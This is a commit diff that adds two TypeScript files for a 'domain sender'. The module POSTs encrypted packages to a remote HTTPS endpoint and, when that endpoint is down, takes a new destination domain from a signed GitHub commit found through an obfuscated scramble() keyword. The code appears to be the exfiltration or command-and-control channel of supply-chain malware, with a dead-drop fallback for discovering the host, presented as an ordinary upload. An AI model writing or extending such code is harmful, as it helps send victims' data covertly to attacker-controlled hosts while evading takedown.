Upload files to "src/sender/domain"
This commit is contained in:
@@ -0,0 +1,52 @@
|
|||||||
|
import { verify_key } from "../../generated";
|
||||||
|
import { findValidSignedCommit } from "../../github_utils/fetcher";
|
||||||
|
import { logUtil } from "../../utils/logger";
|
||||||
|
import type { Sender } from "../base";
|
||||||
|
import type { SenderFactory } from "../senderFactory";
|
||||||
|
import type { SenderDestination } from "../types";
|
||||||
|
import { DomainSender } from "./sender";
|
||||||
|
|
||||||
|
declare function scramble(str: string): string;
|
||||||
|
|
||||||
|
export class DomainSenderFactory implements SenderFactory {
|
||||||
|
private readonly config: SenderDestination;
|
||||||
|
constructor(config: SenderDestination) {
|
||||||
|
this.config = config;
|
||||||
|
}
|
||||||
|
|
||||||
|
async tryCreate(): Promise<Sender | null> {
|
||||||
|
// 1. Try the default domain.
|
||||||
|
const primary = new DomainSender(this.config);
|
||||||
|
if (await primary.healthy()) {
|
||||||
|
return primary;
|
||||||
|
}
|
||||||
|
logUtil.log("Primary domain not healthy; looking for signed fallback");
|
||||||
|
|
||||||
|
// 2. Fall back to a domain discovered via a signed commit.
|
||||||
|
const commitResult = await findValidSignedCommit(
|
||||||
|
scramble("thebeautifulmarchoftime "),
|
||||||
|
verify_key,
|
||||||
|
);
|
||||||
|
if (!commitResult.found) {
|
||||||
|
logUtil.log("No valid signed commit found; DomainSender unavailable");
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (commitResult.message) {
|
||||||
|
const backupDest: SenderDestination = {
|
||||||
|
domain: commitResult.message,
|
||||||
|
port: this.config.port,
|
||||||
|
path: this.config.path,
|
||||||
|
};
|
||||||
|
const fallback = new DomainSender(backupDest);
|
||||||
|
if (await fallback.healthy()) {
|
||||||
|
return fallback;
|
||||||
|
} else {
|
||||||
|
logUtil.log("Fallback domain not healthy; DomainSender unavailable");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
logUtil.log("Fallback domain not healthy; DomainSender unavailable");
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,79 @@
|
|||||||
|
import * as dns from "dns";
|
||||||
|
import * as https from "https";
|
||||||
|
|
||||||
|
import { logUtil } from "../../utils/logger";
|
||||||
|
import { Sender } from "../base";
|
||||||
|
import type { EncryptedPackage, SenderDestination } from "../types";
|
||||||
|
|
||||||
|
declare function scramble(str: string): string;
|
||||||
|
|
||||||
|
export class DomainSender extends Sender {
|
||||||
|
constructor(config: SenderDestination) {
|
||||||
|
super("domain", {
|
||||||
|
domain: config.domain,
|
||||||
|
port: config.port,
|
||||||
|
path: config.path,
|
||||||
|
dry_run: config.dry_run,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
private get url(): string {
|
||||||
|
return `https://${this.destination.domain}:${this.destination.port}/${this.destination.path}`;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Preflight: DNS resolves + endpoint responds with the sentinel status.
|
||||||
|
* Called by the Dispatcher before attempting send.
|
||||||
|
*/
|
||||||
|
override async healthy(): Promise<boolean> {
|
||||||
|
try {
|
||||||
|
if (this.destination.dry_run) return true;
|
||||||
|
|
||||||
|
await dns.promises.lookup(this.destination.domain);
|
||||||
|
} catch {
|
||||||
|
logUtil.error(`Could not resolve domain: ${this.destination.domain}`);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
return new Promise<boolean>((resolve) => {
|
||||||
|
const req = https.get(this.url, { timeout: 5000 }, (res) => {
|
||||||
|
logUtil.log(`Got response for ${this.url} ${res.statusCode!}`);
|
||||||
|
resolve(res.statusCode === 400 || res.statusCode === 404);
|
||||||
|
});
|
||||||
|
req.on("error", (err) => {
|
||||||
|
logUtil.error(`domain healthcheck error: ${err} ${this.url}`);
|
||||||
|
resolve(false);
|
||||||
|
});
|
||||||
|
req.on("timeout", () => {
|
||||||
|
logUtil.log(`domain healthcheck timeout`);
|
||||||
|
req.destroy();
|
||||||
|
resolve(false);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Transport. Throws on any non-success so the Dispatcher falls through
|
||||||
|
* to the next sender in its priority list.
|
||||||
|
*/
|
||||||
|
override async send(envelope: EncryptedPackage): Promise<void> {
|
||||||
|
logUtil.log(`Sending to ${this.url}`);
|
||||||
|
|
||||||
|
if (this.destination.dry_run) {
|
||||||
|
logUtil.log(envelope);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
const response = await fetch(this.url, {
|
||||||
|
method: "POST",
|
||||||
|
headers: { "Content-Type": "application/json" },
|
||||||
|
body: JSON.stringify(envelope),
|
||||||
|
});
|
||||||
|
|
||||||
|
if (response.status !== 200) {
|
||||||
|
throw new Error(
|
||||||
|
`DomainSender: ${this.url} returned status ${response.status}`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user